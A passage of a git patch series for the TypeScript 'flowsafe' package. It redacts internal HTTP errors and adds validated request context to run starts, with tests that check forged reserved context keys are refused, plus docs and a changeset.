`doSummary`: the DO already mapped the runtime's typed errors to - * 404/409/400, so that status must survive rather than collapse into a 500. + * A host-authored HTTP refusal. The message and reason are forwarded to callers; + * hosts must supply caller-safe, JSON-compatible values. */ export class RunRouteError extends Error { readonly status: number; @@ -26,19 +18,7 @@ export class RunRouteError extends Error { } /** - * The Durable Object's own structured refusal, if this error carries one. - * - * The taxonomy's rule is that a `reason` is a SCREAMING_SNAKE code the DO - * deliberately published (do-error-response.ts), and every router that fronts a - * DO must pass one through with its status intact. Without this, a router that - * collapses 5xx to a bare 500 — the shape agent-host/router.ts and - * stream-router.ts both had — turns "this deployment is fenced, retry after the - * migration" into "I am broken", and the caller cannot tell a retryable - * operational state from a code fault. - * - * Narrow on purpose: only a plain object with a string `code` qualifies, so an - * upstream body that happened to carry a `reason` field of some other shape - * cannot widen what a 5xx surfaces. + * Preserve a published operational refusal across HTTP transports. */ export function runRouteReason( error: RunRouteError, diff --git a/packages/flowsafe/src/host-kit/run-router.test.ts b/packages/flowsafe/src/host-kit/run-router.test.ts index 97b4f506..ac54c6c0 100644 --- a/packages/flowsafe/src/host-kit/run-router.test.ts +++ b/packages/flowsafe/src/host-kit/run-router.test.ts @@ -1,14 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// Unit coverage for the run surface every host mounts: the authorization ORDER -// (401 -> coarse RUN_START_ROLES -> per-workflow allowedRoles), the catalog, the -// start/status/resume/terminate routes and their error mapping, the suspension bridge's -// attribution (the starting actor becomes requestedBy, so they cannot decide -// their own run), and the reconcileApprovals self-healing hook on status -// reads. -// -// Driven with real InMemoryApprovalStore + ApprovalService (no mocks) and -// fixture WorkflowMetas — depending on the showcase's modules here would invert -// the layering (showcase imports host-kit, not the reverse). +// Showcase modules depend on host-kit, so these fixtures remain independent. import { describe, expect, it, vi } from 'vitest'; @@ -39,6 +30,7 @@ import { StartIdempotencyStore, UnknownRunError, } from '../do-runner/index.js'; +import { internalErrorResponse } from '../internal-error-response.js'; import { reconcileApprovalsOnStatus } from './approval-bridge.js'; import { createDoRunTopology } from './do-run-topology.js'; import { RunRouteError } from './run-route-error.js'; @@ -1555,20 +1547,113 @@ describe('createRunRouter — error mapping', () => { ).toBe(status); }); - it('maps an unexpected failure to 500', async () => { - // #given + it.each([ + new Error('private storage detail'), + 'private callback detail', + { backend: 'private storage detail' }, + ])('redacts an unexpected handler failure (%j)', async (error) => { const { handle } = makeHarness({ status: async () => { - throw new Error('d1 exploded'); + throw error; }, }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + const response = await handle(req('/runs/open-flow/acme_r1')); + expect(response?.status).toBe(500); + expect(response?.headers.get('content-type')).toBe('application/json'); + expect(response?.headers.get('cache-control')).toBe('no-store'); + expect(await response?.json()).toEqual({ error: 'internal error' }); + expect(logged).toHaveBeenCalledWith( + JSON.stringify({ + type: 'route-internal-error', + route: 'runs', + error: error instanceof Error ? error.message : String(error), + }), + error, + ); + } finally { + logged.mockRestore(); + } + }); - // #when + it('returns the generic handler response when logging throws', async () => { + const { handle } = makeHarness({ + status: async () => { + throw new Error('private storage detail'); + }, + }); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('diagnostic sink unavailable'); + }); + try { + const response = await handle(req('/runs/open-flow/acme_r1')); + expect(response?.status).toBe(500); + expect(await response?.json()).toEqual({ error: 'internal error' }); + } finally { + logged.mockRestore(); + } + }); + + it.each([ + [503, new RunRouteError(503, 'retry later', { code: 'HOST_BUSY' })], + [503, new ExecutionFencedError('draining')], + [ + 409, + new RunLifecycleBlockedError({ + code: 'DISPUTED_SETTLEMENT', + message: + 'run termination is blocked while an economic operation is disputed', + }), + ], + ] as const)('preserves a typed status %s and its reason', async (status, error) => { + const { handle } = makeHarness({ + status: async () => { + throw error; + }, + }); const response = await handle(req('/runs/open-flow/acme_r1')); + expect(response?.status).toBe(status); + expect(await response?.json()).toEqual({ + error: error.message, + reason: error.reason, + }); + }); +}); - // #then - expect(response?.status).toBe(500); - expect(await response?.json()).toEqual({ error: 'd1 exploded' }); +describe('internal HTTP error diagnostics', () => { + it.each([ + 500, 502, + ] as const)('retains status %s and the original unreadable error', async (status) => { + const unreadableMessage = new Error(); + Object.defineProperty(unreadableMessage, 'message', { + get() { + throw new Error('message is unreadable'); + }, + }); + const unreadableValue = { + toString() { + throw new Error('value is unreadable'); + }, + }; + const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + for (const error of [unreadableMessage, unreadableValue]) { + const response = internalErrorResponse('test', error, status); + expect(response.status).toBe(status); + expect(response.headers.get('content-type')).toBe('application/json'); + expect(response.headers.get('cache-control')).toBe('no-store'); + expect(await response.json()).toEqual({ error: 'internal error' }); + expect(logged.mock.lastCall?.[1]).toBe(error); + expect(JSON.parse(String(logged.mock.lastCall?.[0]))).toEqual({ + type: 'route-internal-error', + route: 'test', + error: 'unreadable error', + }); + } + } finally { + logged.mockRestore(); + } }); }); diff --git a/packages/flowsafe/src/host-kit/run-router.ts b/packages/flowsafe/src/host-kit/run-router.ts index e4e615e6..5b5a978a 100644 --- a/packages/flowsafe/src/host-kit/run-router.ts +++ b/packages/flowsafe/src/host-kit/run-router.ts @@ -31,6 +31,7 @@ import { UnknownWorkflowError, } from '../do-runner/index.js'; import { readBoundedBody } from '../http-body.js'; +import { internalErrorResponse } from '../internal-error-response.js'; import { queueApprovalForSuspension } from './approval-bridge.js'; import { requireResourceAccess } from './resource-access.js'; import { RunRouteError } from './run-route-error.js'; @@ -264,11 +265,6 @@ function errorResponse(error: unknown): Response { if (error instanceof InvalidRunRequestError) { return json({ error: error.message }, 400); } - // Every refusal this package authors on the taxonomy's own base renders with - // its declared status and reason — the reservation family among them. Placed - // LAST so the named branches above keep their exact shapes, and typed against - // the base rather than against each reservation class so a refusal added - // later cannot arrive here as an anonymous 500. if (error instanceof DoStatusError) { const { status } = error; if (Number.isInteger(status) && status >= 400 && status <= 599) { @@ -281,10 +277,7 @@ function errorResponse(error: unknown): Response { ); } } - return json( - { error: error instanceof Error ? error.message : String(error) }, - 500, - ); + return internalErrorResponse('runs', error); } const MAX_RUN_BODY_BYTES = 1_048_576; diff --git a/packages/flowsafe/src/internal-error-response.ts b/packages/flowsafe/src/internal-error-response.ts index 7b85c1ba..3dce32cf 100644 --- a/packages/flowsafe/src/internal-error-response.ts +++ b/packages/flowsafe/src/internal-error-response.ts @@ -1,7 +1,11 @@ // SPDX-License-Identifier: Apache-2.0 function errorText(error: unknown): string { - return error instanceof Error ? error.message : String(error); + try { + return String(error instanceof Error ? error.message : error); + } catch { + return 'unreadable error'; + } } /** Package-internal catch-all for public HTTP routes. */ @@ -10,13 +14,18 @@ export function internalErrorResponse( error: unknown, status: 500 | 502 = 500, ): Response { - console.error( - JSON.stringify({ - type: 'route-internal-error', - route, - error: errorText(error), - }), - ); + try { + console.error( + JSON.stringify({ + type: 'route-internal-error', + route, + error: errorText(error), + }), + error, + ); + } catch { + // Diagnostic failure cannot prevent the HTTP response. + } return new Response(JSON.stringify({ error: 'internal error' }), { status, headers: { From e79b92a06d7d52b330ff412c69910dc3ee8fb12c Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 06:26:00 +0400 Subject: [PATCH 095/169] feat(flowsafe): carry run context and preserve scoped agent lookups --- .changeset/run-start-request-context.md | 9 + docs/deployment-reference.md | 13 + docs/do-runner-design.md | 13 +- docs/security-threat-model.md | 6 +- packages/flowsafe/README.md | 17 + .../flowsafe/scripts/agent-host-pack-test.mjs | 78 +++- packages/flowsafe/scripts/spike-verify.mjs | 143 ++++++- packages/flowsafe/spike/worker.ts | 38 +- .../src/agent-host/thread-host.test.ts | 405 +++++++++++++++++- .../flowsafe/src/agent-host/thread-host.ts | 50 ++- .../src/agent-host/thread-topology.test.ts | 17 + .../agent-runner/durable-agent-runner.test.ts | 233 +++++++++- .../src/agent-runner/durable-agent-runner.ts | 62 ++- .../src/do-runner/durable-object.test.ts | 47 +- .../flowsafe/src/do-runner/durable-object.ts | 6 +- .../flowsafe/src/do-runner/runtime.test.ts | 309 +++++++++++-- packages/flowsafe/src/do-runner/runtime.ts | 31 +- .../src/host-kit/do-run-topology.test.ts | 5 + .../flowsafe/src/host-kit/do-run-topology.ts | 3 +- .../src/host-kit/flowsafe-worker.test.ts | 75 ++++ .../flowsafe/src/host-kit/flowsafe-worker.ts | 5 +- .../flowsafe/src/host-kit/run-router.test.ts | 300 +++++++++++++ packages/flowsafe/src/host-kit/run-router.ts | 42 +- 23 files changed, 1786 insertions(+), 121 deletions(-) create mode 100644 .changeset/run-start-request-context.md diff --git a/.changeset/run-start-request-context.md b/.changeset/run-start-request-context.md new file mode 100644 index 00000000..fba22b9d --- /dev/null +++ b/.changeset/run-start-request-context.md @@ -0,0 +1,9 @@ +--- +'@proofoftech/flowsafe': minor +--- + +Accept optional non-reserved `requestContext` on authenticated run starts and carry it through the protected Durable Object topology into stored application context. Expose the validated value to router and Worker start-policy hooks while preserving shorter hook signatures. + +Reject malformed context and reserved keys with HTTP 400. Verified schedule targets retain precedence, including absent context; provider application values override stored values and trusted capabilities retain their authority. Application context survives resume. Keyed replay validates input and runs host policy again, then preserves the first writer's context without comparing or overwriting it. + +Correct public agent status, stream and ordinary termination lookups to return not found for a coherent snapshot belonging to another agent or thread. Private replay, proof and recovery retain strict failures so a foreign snapshot cannot be treated as absent. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 901cf9a2..367fe7c0 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -141,6 +141,10 @@ GET /api/stream/run/:workflowId/:runId The stream routes mount only when streaming is configured. The approval create route is off unless the host explicitly enables its capability-free form. +`POST /runs` accepts optional `requestContext`, a JSON object for non-reserved application values. A malformed shape or reserved key returns HTTP 400 with `reason: "reserved-context-key"`; the existing request-body bound still applies. Validation follows authentication and workflow authorization. The value reaches the run through the protected ordinary-start topology. Schedule starts use their verified stored target instead, including when that target omits context. + +Keyed retries validate context and execute host policy again. A valid divergent value does not replace the winning run's stored context or start another run. See [request-context precedence and persistence](do-runner-design.md#request-context). + ### Control-plane routes The composed Worker mounts operational routes before tenant routers: @@ -239,6 +243,15 @@ Other route factories accept a `basePath` when the exact public prefix is host-s Use the exported router and topology factories rather than recreating their gate order. +The start policy receives the validated application context: + +| Composition | Hook signature | +| --- | --- | +| Direct router | `beforeStart(context, workflowId, inputData, requestContext)` | +| Composed Worker | `beforeStart(context, env, workflowId, inputData, requestContext)` | + +Omitted context arrives as `undefined`. Existing hooks with fewer parameters remain compatible. The hook returns `Promise`; reject a start by throwing a caller-safe `RunRouteError`. Its return value does not supply context. Apply business attribution rules here before the router chooses a new start or keyed replay. + ## Alarm-driven maintenance The fixed maintenance Durable Object schedules four independent duties: diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index d9efb3a6..a7ec006c 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -447,16 +447,15 @@ The maintenance Durable Object persists a rotating tuple cursor after every sele ## Request context -Before every create or resume, the runtime sets: +`POST /runs` accepts an optional `requestContext` object after authenticated start authorization. The router rejects invalid shapes and keys identified by [`isReservedExecutionContextKey()`](../packages/flowsafe/src/do-runner/execution-context.ts) with HTTP 400 and `reason: "reserved-context-key"`. The validated record reaches `beforeStart` before reservation or execution; hosts enforce stricter application attribution policy there. -- run id; -- workflow id; -- `breakwater.workflowScope`; -- values returned by the host's `requestContextForRun` provider. +`RunStartInput.requestContext` crosses the authenticated Worker-to-Durable-Object channel and becomes `StartRunOptions.storedRequestContext`. A verified schedule target supplies its own context even when that value is absent; an ordinary-start body cannot fill that absence. `inputData` remains workflow input and does not populate request context. -Runtime-derived base keys win over stored or client-provided context. `breakwater.isolationScope` remains reserved and is dropped from provider values because connector keys are deployment-wide. Schedules additionally reject these reserved namespaces when data is written. +Stored non-reserved application values have the lowest precedence. Application values from `requestContextForRun` override matching stored keys. Runtime-derived execution metadata and trusted provider capabilities/identity are applied after application values. `breakwater.isolationScope` remains reserved and is dropped from provider values because connector keys are deployment-wide. -`approvalGrantProvider()` is the normal provider. A provider failure happens before `createRun()` or resume, so a failed start leaves its run id retryable. +Application context persists with the run and survives resume in a fresh Runtime or Durable Object. The provider runs again for each execution leg. A provider that revokes a capability must return an explicit empty value for that key; omission leaves a persisted value available to the context merge. A keyed replay revalidates the supplied context and executes host policy, then retains the winning run's context without comparing or overwriting it. + +`approvalGrantProvider()` derives approval capabilities from persisted decisions. A provider failure aborts the execution leg before `createRun()` or resume. ## Import-safe workflow modules diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 4595d3c1..a3220771 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -63,10 +63,14 @@ breakwater.isolationScope Only trusted host/runtime code may populate actor, grant, principal-permission, or workflow values. Idempotency keys and dry-run selection may originate from authorized application logic, but must not overwrite the other keys. `breakwater.isolationScope` remains an opaque Breakwater policy input; Flowsafe does not mint it for the single-organization data plane. -Flowsafe's shared execution-context boundary reserves every `breakwater.*` key, `mastra:goal`, `runId`, `threadId`, `resourceId`, `__proto__`, `constructor`, and `prototype`. External HTTP bodies reject these fields. Persisted compatibility paths strip them before trusted derivation. +[`isReservedExecutionContextKey()`](../packages/flowsafe/src/do-runner/execution-context.ts) defines the reserved namespace. API-start and schedule `requestContext` records reject those keys at ingestion. Persisted compatibility paths strip reserved entries before trusted derivation. + +An API start may carry non-reserved application context after authentication, start-role checks and workflow authorization. The validated value is visible to the host's `beforeStart` policy and travels on the existing authenticated Worker-to-Durable-Object channel into the stored application tier. Host policy must verify any business meaning attributed to those values. They cannot supply execution identity or connector grants; `inputData` is not a context transport. Trusted merges apply sanitized external or stored context first, then workflow, run, current execution identity, structured connector grants, and trusted actor/audit correlation. Provider-supplied isolation scope is dropped. An empty grant array overwrites any stale value, and the agent host projects the principal-permission resolution or an explicit `null` on every leg so a stale persisted projection cannot survive a resume. +For an API start, provider application values override matching stored values. A verified schedule target controls its context even when it supplies none. Persisted application values survive resume, while trusted providers refresh capability state. Keyed replay revalidates input and host policy but preserves the winning run's context. + ### Worker to Durable Object The Worker chooses the object name through `idFromName()`. Each object reasserts the addressed identity: diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 81bdcb56..76aa79ef 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -322,6 +322,23 @@ The host mints opaque, path-safe run and thread ids. `RunnerRuntime.start()` req Callers that need exactly-once start behavior supply an `idempotencyKey`, never a run ID. The key is available on `POST /runs`, trusted agent-host starts, and `streamUntilPersisted()`. A retry returns the same persisted run. `IDEMPOTENT_START_PENDING` includes `pendingSince`; re-probe the point-in-time `IDEMPOTENT_START_UNRESOLVABLE` result before acting. A key remains valid until its reservation-retention horizon expires. +### Pass application context at start + +An authenticated `POST /runs` can supply a non-reserved application context: + +```json +{ + "workflowId": "publish", + "inputData": { "topic": "release notes" }, + "idempotencyKey": "publish-request-123", + "requestContext": { "app.agentId": "agent_123" } +} +``` + +`requestContext` must be an object when present. Invalid shapes and reserved keys return HTTP 400 with `reason: "reserved-context-key"`. The router validates it after authentication and workflow authorization, then passes it to the host's `beforeStart` policy. Use that hook for application-specific attribution rules; possession of a run token does not establish an arbitrary context value's business meaning. + +The protected topology carries this value into `storedRequestContext`. Provider application values override stored values, while trusted execution identity and capabilities retain their authority. Verified schedule targets supply their own context, including an omitted value. Persisted application values survive resume; a keyed replay retains the winning run's context and still performs validation and host policy checks. See the [request-context guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#request-context) and [host policy signatures](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#host-composition). + ### Stores are deployment-wide `D1ApprovalStoreFactory.store()` and `D1SubscriptionStoreFactory.store()` return the store for the bound database. Tables and indexes contain no tenant column. Legacy pooled schemas require a fresh database. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index eafcb08d..d1e72442 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -557,7 +557,7 @@ import { } from '@proofoftech/flowsafe/do-runner'; import { createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, - type RunStartInput, + type RunStartInput, type DoRunStartInput, type RunRouterOptions, type RunRouterStartIdempotency, } from '@proofoftech/flowsafe/host-kit'; import { @@ -610,15 +610,35 @@ const legacyScope: ThreadScope = { threadId: 'thread', principal, init: hostInit const epochScope: ThreadScope = { ...legacyScope, mutationEpoch: 2 }; const legacyInput: RunStartInput = { workflowId: 'workflow', runId: 'run', inputData: {}, principal }; const epochInput: RunStartInput = { ...legacyInput, mutationEpoch: 2 }; +const applicationContext: Record = { 'app.attribution': 'accepted', nested: { value: 1 } }; +const contextInput: RunStartInput = { ...legacyInput, requestContext: applicationContext }; +const doContextInput: DoRunStartInput = { ...contextInput, initialState: {} }; +const legacyDoInput: DoRunStartInput = { ...legacyInput, initialState: {} }; +const routerHook: NonNullable = async (context, workflowId, inputData, requestContext) => { + const application: Record | undefined = requestContext; + void [context.actor, workflowId, inputData, application]; +}; +const legacyRouterHook: NonNullable = async (_context, _workflowId, _inputData) => {}; +const routerPolicyResult: Promise = routerHook(legacyContext, 'workflow', {}, applicationContext); type EpochEnv = FlowsafeWorkerEnv & { artifactEpoch: number }; +const workerHook: NonNullable['beforeStart']> = async (context, env, workflowId, inputData, requestContext) => { + const application: Record | undefined = requestContext; + void [context.actor, env.artifactEpoch, workflowId, inputData, application]; +}; +const legacyWorkerHook: NonNullable['beforeStart']> = async (_context, _env, _workflowId, _inputData) => {}; +declare const workerEnv: EpochEnv; +const workerPolicyResult: Promise = workerHook(legacyContext, workerEnv, 'workflow', {}, applicationContext); const workerConfig: FlowsafeWorkerConfig = { systemPrincipalId: 'system', workflows: [], buildVerifier: () => ({ verify: async () => actor }), maintenance: { sweepIntervalMs: 1000, purgeIntervalMs: 1000 }, mutationEpoch: env => env.artifactEpoch, + beforeStart: workerHook, }; createFlowsafeWorker(workerConfig); createFlowsafeWorker({ ...workerConfig, mutationEpoch: 0 }); +createFlowsafeWorker({ ...workerConfig, beforeStart: legacyWorkerHook }); +void [contextInput, doContextInput, legacyDoInput, legacyRouterHook, routerPolicyResult, workerPolicyResult]; const onPrepared = (execution: RunExecutionIdentity): void => { void execution.startToken; }; const legacyOptions: StartRunOptions = { runId: 'legacy' }; const options: StartRunOptions = { @@ -757,6 +777,60 @@ assert.equal(Array.isArray(doRunner.INVENTORY_DRAIN_PROOF.reachableFrom), true); assert.equal(typeof hostKit.createFlowsafeRunnerLifecycle, 'function'); assert.equal(typeof hostKit.createRunRouter, 'function'); assert.equal(typeof hostKit.createFlowsafeWorker, 'function'); +const contextTransports = []; +const contextPolicies = []; +const contextPrincipal = { kind: 'human', id: 'context-owner', role: 'operator' }; +const contextTopology = hostKit.createDoRunTopology({ + idFromName: name => name, + get: name => ({ fetch: async (url, init) => { + const body = JSON.parse(init.body); + contextTransports.push({ name, url, body, headers: init.headers }); + return Response.json({ runId: body.runId, status: 'success' }); + } }), +}, 'packed-context-deployment-identity-secret'); +const contextFactory = new approvals.InMemoryApprovalStoreFactory(); +const contextRouter = hostKit.createRunRouter({ + workflows: [{ id: 'context-workflow', title: 'Context', description: 'Packed transport', sampleInput: {} }], + resolve: approvals.createActorResolver({ + authenticate: () => ({ id: contextPrincipal.id, role: contextPrincipal.role }), + storeFactory: contextFactory, + buildService: () => new approvals.ApprovalService({ store: contextFactory.store(), executionFence: 'none' }), + newRunId: () => 'context-run', + mutationEpoch: 2, + }), + startIdempotency: 'none', + start: contextTopology.start, + status: contextTopology.status, + resume: contextTopology.resume, + beforeStart: async (context, workflowId, inputData, requestContext) => { + contextPolicies.push({ principal: context.principal, workflowId, inputData, requestContext }); + return { 'app.attribution': 'ignored-hook-return' }; + }, +}); +const packedApplicationContext = { 'app.attribution': 'accepted', nested: { values: [1, true] } }; +const contextResponse = await contextRouter(new Request('https://packed.test/runs', { + method: 'POST', + body: JSON.stringify({ workflowId: 'context-workflow', inputData: { topic: 'launch' }, requestContext: packedApplicationContext }), +})); +assert.equal(contextResponse.status, 200); +assert.deepEqual(contextPolicies, [{ + principal: contextPrincipal, workflowId: 'context-workflow', inputData: { topic: 'launch' }, requestContext: packedApplicationContext, +}]); +assert.deepEqual(contextTransports[0].body, { + workflowId: 'context-workflow', runId: 'context-run', inputData: { topic: 'launch' }, requestContext: packedApplicationContext, +}); +assert.equal(contextTransports[0].name, 'context-workflow:context-run'); +assert.equal(new Headers(contextTransports[0].headers).get(doRunner.MUTATION_EPOCH_HEADER), '2'); +assert.deepEqual(JSON.parse(new Headers(contextTransports[0].headers).get(doRunner.EXECUTION_PRINCIPAL_HEADER)), contextPrincipal); +await contextTopology.start({ + workflowId: 'context-workflow', runId: 'context-scheduled-run', inputData: { forged: true }, + initialState: { forged: true }, requestContext: { 'app.attribution': 'forged' }, + principal: contextPrincipal, scheduleId: 'context-schedule', dispatchId: 'context-dispatch', deadlineMs: 60000, +}); +assert.deepEqual(contextTransports[1].body, { + workflowId: 'context-workflow', runId: 'context-scheduled-run', + scheduleId: 'context-schedule', dispatchId: 'context-dispatch', deadlineMs: 60000, +}); assert.equal(hostKit.FENCED_WORKFLOW_STORAGE, doRunner.FENCED_WORKFLOW_STORAGE); assert.equal('FencedWorkflowsStorageD1' in hostKit, false); assert.equal(typeof agentRunner.FlowsafeDurableAgent, 'function'); @@ -765,7 +839,7 @@ for (const name of ['claim', 'release', 'settleRun']) { } for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false); for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules]) { - for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql']) { + for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError']) { assert.equal(name in api, false, name); } } diff --git a/packages/flowsafe/scripts/spike-verify.mjs b/packages/flowsafe/scripts/spike-verify.mjs index 9bc2d5ad..250fb7c3 100644 --- a/packages/flowsafe/scripts/spike-verify.mjs +++ b/packages/flowsafe/scripts/spike-verify.mjs @@ -56,6 +56,14 @@ const RUN_BODY = { workflowId: 'demo-approval', inputData: { topic: 'launch' }, }; +const APPLICATION_CONTEXT_KEY = 'spike.attribution'; +const APPLICATION_CONTEXT = { + [APPLICATION_CONTEXT_KEY]: 'accepted-application-value', +}; +const INPUT_CONTEXT_SMUGGLE = { + [APPLICATION_CONTEXT_KEY]: 'input-top-level-value', + requestContext: { [APPLICATION_CONTEXT_KEY]: 'input-nested-value' }, +}; // Track A: the agent tool-call gate suspends with the durable-agent approval // shape (R-003) rather than an explicit `connectors` array. const AGENT_RUN_BODY = { @@ -378,12 +386,14 @@ async function startCountedWithKey( idempotencyKey, counterId, headers = AUTH.operator, + requestContext, ) { return http('POST', '/runs', { body: { workflowId: COUNTED_WORKFLOW_ID, inputData: { topic: 'launch', counterId }, idempotencyKey, + requestContext, }, headers, }); @@ -961,11 +971,45 @@ async function main() { }, ); + await step( + 'RC0 run context: reserved body values fail before execution', + async () => { + for (const requestContext of [ + { 'breakwater.actor': { id: 'mallory', role: 'admin' } }, + { 'breakwater.unlistedCapability': true }, + { 'flowsafe.runProvenance': { requestedBy: 'mallory' } }, + ]) { + const rejected = await http('POST', '/runs', { + body: { + workflowId: COUNTED_WORKFLOW_ID, + inputData: { topic: 'launch', counterId: 'context-refusals' }, + requestContext, + }, + headers: AUTH.operator, + }); + assert( + rejected.status === 400 && + rejected.body?.reason === 'reserved-context-key', + 'a reserved application context is refused with the typed 400 reason', + rejected, + ); + } + assert( + (await executionCount('context-refusals')) === 0, + 'reserved-body refusals never execute the counted workflow', + ); + }, + ); + const run = await step( 'A1 start: run suspends at approval gate', async () => { const { status, body } = await http('POST', '/runs', { - body: RUN_BODY, + body: { + ...RUN_BODY, + inputData: { ...RUN_BODY.inputData, ...INPUT_CONTEXT_SMUGGLE }, + requestContext: APPLICATION_CONTEXT, + }, headers: AUTH.operator, }); assert(status === 200, `POST /runs -> ${status}`, body); @@ -1269,6 +1313,12 @@ async function main() { 'resumed run published', body.resume?.summary?.result, ); + assert( + body.resume?.summary?.result?.applicationValue === + APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY], + 'the connector reads the accepted application value after process restart', + body.resume?.summary?.result, + ); }); } @@ -1282,6 +1332,40 @@ async function main() { assert(body.status === 'success', 'final run status', body.status); assert(body.result?.published === true, 'published', body.result); assert(body.result?.approvedBy === 'ray', 'approvedBy', body.result); + assert( + body.result?.applicationValue === + APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY], + 'the connector result persists the body context rather than inputData attribution', + body.result, + ); + }); + + await step('RC1 inputData cannot create connector context', async () => { + const started = await http('POST', '/runs', { + body: { + ...RUN_BODY, + inputData: { ...RUN_BODY.inputData, ...INPUT_CONTEXT_SMUGGLE }, + }, + headers: AUTH.operator, + }); + assert( + started.status === 200 && started.body.status === 'suspended', + 'the input-only run suspends for approval', + started, + ); + const decided = await http( + 'POST', + `/api/approvals/${started.body.approval?.id}/decide`, + { headers: AUTH.reviewer, body: { decision: 'approve' } }, + ); + assert( + decided.status === 200 && + decided.body.resume?.summary?.status === 'success' && + decided.body.resume?.summary?.result?.published === true && + decided.body.resume?.summary?.result?.applicationValue === undefined, + 'the connector executes without application context from inputData', + decided, + ); }); await step('B forged-resume: no grant -> fails closed', async () => { @@ -2132,6 +2216,31 @@ async function main() { 'verified stored initialState reaches core workflow execution', body.leg, ); + assert( + body.leg?.applicationValue === + APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY], + 'the scheduled leg reads the exact stored application value', + body.leg, + ); + const api = await http('POST', '/runs', { + headers: AUTH.operator, + body: { + workflowId: 'sched-echo', + inputData: INPUT_CONTEXT_SMUGGLE, + requestContext: APPLICATION_CONTEXT, + }, + }); + assert( + api.status === 200 && + api.body.status === 'success' && + api.body.result?.applicationValue === body.leg.applicationValue && + api.body.result?.reservedLeaked === false && + api.body.result?.workflowScopePresent === true && + api.body.result?.isolationScopePresent === false && + api.body.result?.initialStatePresent === false, + 'API and scheduled starts read the same application value with runtime scope intact', + api, + ); }, ); @@ -2686,7 +2795,12 @@ async function main() { 'FI1 idempotent start: a retry after a workerd kill+restart returns the ' + 'SAME run, and the paid first step ran exactly ONCE', async () => { - const first = await startCountedWithKey('spike-key-1', 'fi1'); + const first = await startCountedWithKey( + 'spike-key-1', + 'fi1', + AUTH.operator, + APPLICATION_CONTEXT, + ); assert( first.status === 200 && first.body.status === 'suspended', 'the first keyed start must run normally', @@ -2709,7 +2823,12 @@ async function main() { join(tmpDir, 'idempotent-restart.log'), ); - const retry = await startCountedWithKey('spike-key-1', 'fi1'); + const retry = await startCountedWithKey( + 'spike-key-1', + 'fi1', + AUTH.operator, + { [APPLICATION_CONTEXT_KEY]: 'divergent-retry-value' }, + ); assert( retry.status === 200 && retry.body.runId === first.body.runId, 'the retry must replay the first run, not start a second', @@ -2725,6 +2844,24 @@ async function main() { 'a retry after process death must execute the first step no second time', { executions, first: first.body, retry: retry.body }, ); + const decided = await http( + 'POST', + `/api/approvals/${first.body.approval?.id}/decide`, + { headers: AUTH.reviewer, body: { decision: 'approve' } }, + ); + assert( + decided.status === 200 && + decided.body.resume?.summary?.status === 'success' && + decided.body.resume?.summary?.result?.published === true && + decided.body.resume?.summary?.result?.applicationValue === + APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY], + 'the keyed run connector retains the first context after a divergent retry', + decided, + ); + assert( + (await executionCount('fi1')) === 1, + 'resuming the replayed run leaves the first-step execution count unchanged', + ); return { runId: first.body.runId, approvalId: first.body.approval?.id }; }, ); diff --git a/packages/flowsafe/spike/worker.ts b/packages/flowsafe/spike/worker.ts index f2b11abe..82a7f1da 100644 --- a/packages/flowsafe/spike/worker.ts +++ b/packages/flowsafe/spike/worker.ts @@ -635,6 +635,7 @@ const SPIKE_ACTORS = new Map([ // workflow's first step writes a durable D1 row instead, so the spike can count // executions directly across a process death and across a concurrent burst. const COUNTED_WORKFLOW_ID = 'demo-idempotent'; +const APPLICATION_CONTEXT_KEY = 'spike.attribution'; const EXECUTION_COUNT_TABLE = 'spike_execution_count'; const EXECUTION_COUNT_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_COUNT_TABLE} ( id TEXT PRIMARY KEY, @@ -670,9 +671,15 @@ const WORKFLOWS: ReadonlyArray = [ 'demo-approval with a counting first step, so an idempotent start can be proved by EXECUTIONS rather than by run ids', sampleInput: { topic: 'launch', counterId: 'probe' }, }, + { + id: 'sched-echo', + title: 'Schedule context probe', + description: 'Reads application context from API and scheduled starts', + sampleInput: {}, + }, ]; const scheduleTargetPolicy = createScheduleTargetPolicy({ - workflows: [...WORKFLOWS, { id: 'sched-echo' }], + workflows: WORKFLOWS, agents: [SPIKE_AGENT_META], }); @@ -700,13 +707,25 @@ function defineWorkflows(env: Env): RunnerRuntime { // capabilities without any grant crossing a request body. requestContextForRun: approvalGrantProvider(approvals), }); - const publisher = createConnector<{ topic: string }, { published: boolean }>({ + const publisher = createConnector< + { topic: string }, + { published: boolean; applicationValue?: string } + >({ id: PUBLISH_CONNECTOR, description: 'Publishes the approved workerd probe', 